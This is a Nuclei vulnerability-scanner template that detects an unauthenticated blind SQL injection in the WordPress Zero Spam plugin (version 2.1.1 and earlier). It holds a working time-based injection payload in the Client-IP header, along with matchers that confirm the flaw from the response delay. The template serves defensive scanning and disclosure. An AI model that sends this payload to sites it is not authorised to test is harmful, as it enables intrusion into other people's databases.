nuclei-templates/http/vulnerabilities/wordpress/zero-spam-sql-injection.yaml

34 lines
934 B
YAML

id: zero-spam-sql-injection
info:
name: WordPress Zero Spam <= 2.1.1 - Blind SQL Injection
author: theamanrawat
severity: critical
description: |
The WordPress Zero Spam WordPress plugin was affected by an Unauthenticated Blind SQL Injection security vulnerability.
reference:
- https://wpscan.com/vulnerability/44cc8d59-9b45-46b7-afaf-894e4ba62dd5
- https://wordpress.org/plugins/zero-spam/
remediation: Fixed in version 2.2.0
metadata:
max-request: 1
verified: true
tags: wp,wp-plugin,wordpress,zero-spam,sqli,unauth
http:
- raw:
- |
@timeout: 10s
GET / HTTP/1.1
Host: {{Hostname}}
Client-IP: '+(select(0)from(select(sleep(7)))v)+'
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "zerospam-js")'
condition: and